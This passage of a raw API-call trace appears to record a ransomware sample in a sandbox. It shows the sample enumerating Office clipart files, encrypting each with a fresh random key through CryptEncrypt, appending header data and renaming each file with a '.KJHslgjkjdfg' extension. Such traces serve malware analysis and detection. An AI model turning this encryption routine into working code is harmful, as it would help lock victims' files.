lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.707] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.707] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.707] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x54b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x54b0, lpOverlapped=0x0) returned 1 [0212.708] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x54b0, dwBufLen=0x54b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x54b0) returned 1 [0212.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.709] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x54b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x54b0, lpOverlapped=0x0) returned 1 [0212.709] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.709] SetEndOfFile (hFile=0x130) returned 1 [0212.712] GetProcessHeap () returned 0x990000 [0212.712] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.712] GetProcessHeap () returned 0x990000 [0212.712] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.kjhslgjkjdfg")) returned 1 [0212.714] CloseHandle (hObject=0x130) returned 1 [0212.714] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb57400, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcb57400, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01569_.WMF", cAlternateFileName="")) returned 1 [0212.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.717] GetProcessHeap () returned 0x990000 [0212.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.717] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.717] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.717] GetProcessHeap () returned 0x990000 [0212.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.717] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.717] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.717] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.726] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.726] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.726] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x47a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x47a0, lpOverlapped=0x0) returned 1 [0212.727] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x47a0, dwBufLen=0x47a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x47a0) returned 1 [0212.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.728] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x47a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x47a0, lpOverlapped=0x0) returned 1 [0212.728] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.728] SetEndOfFile (hFile=0x130) returned 1 [0212.731] GetProcessHeap () returned 0x990000 [0212.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.731] GetProcessHeap () returned 0x990000 [0212.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.kjhslgjkjdfg")) returned 1 [0212.733] CloseHandle (hObject=0x130) returned 1 [0212.733] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd5f9e00, ftCreationTime.dwHighDateTime=0x1bd4adf, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd5f9e00, ftLastWriteTime.dwHighDateTime=0x1bd4adf, nFileSizeHigh=0x0, nFileSizeLow=0xa8a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01575_.WMF", cAlternateFileName="")) returned 1 [0212.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.735] GetProcessHeap () returned 0x990000 [0212.735] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.735] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.735] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0212.737] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.737] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.737] GetProcessHeap () returned 0x990000 [0212.737] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.737] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.737] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.737] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.737] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.738] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.738] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.738] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.738] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.738] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.738] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa8a6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa8a6, lpOverlapped=0x0) returned 1 [0212.739] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa8b0, dwBufLen=0xa8b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa8b0) returned 1 [0212.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.740] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa8b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa8b0, lpOverlapped=0x0) returned 1 [0212.741] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.741] SetEndOfFile (hFile=0x130) returned 1 [0212.744] GetProcessHeap () returned 0x990000 [0212.744] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.744] GetProcessHeap () returned 0x990000 [0212.744] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.744] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.kjhslgjkjdfg")) returned 1 [0212.747] CloseHandle (hObject=0x130) returned 1 [0212.747] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd892e800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd892e800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x2566, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01777_.WMF", cAlternateFileName="")) returned 1 [0212.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.748] GetProcessHeap () returned 0x990000 [0212.748] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.748] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.749] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0212.750] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.750] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.750] GetProcessHeap () returned 0x990000 [0212.750] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.750] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.751] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.751] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.751] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.751] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.751] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.751] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.751] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.751] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.751] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2566, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2566, lpOverlapped=0x0) returned 1 [0212.752] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2570, dwBufLen=0x2570 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2570) returned 1 [0212.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.753] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2570, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2570, lpOverlapped=0x0) returned 1 [0212.753] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.753] SetEndOfFile (hFile=0x130) returned 1 [0212.755] GetProcessHeap () returned 0x990000 [0212.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.755] GetProcessHeap () returned 0x990000 [0212.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.kjhslgjkjdfg")) returned 1 [0212.757] CloseHandle (hObject=0x130) returned 1 [0212.757] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01785_.WMF", cAlternateFileName="")) returned 1 [0212.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.759] GetProcessHeap () returned 0x990000 [0212.759] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.759] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.760] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.761] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.761] GetProcessHeap () returned 0x990000 [0212.761] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.761] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.761] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.761] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.761] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.761] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.761] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.761] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.761] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.761] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.762] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6ca8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6ca8, lpOverlapped=0x0) returned 1 [0212.762] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6cb0, dwBufLen=0x6cb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6cb0) returned 1 [0212.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.763] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6cb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6cb0, lpOverlapped=0x0) returned 1 [0212.763] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.763] SetEndOfFile (hFile=0x130) returned 1 [0212.765] GetProcessHeap () returned 0x990000 [0212.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, 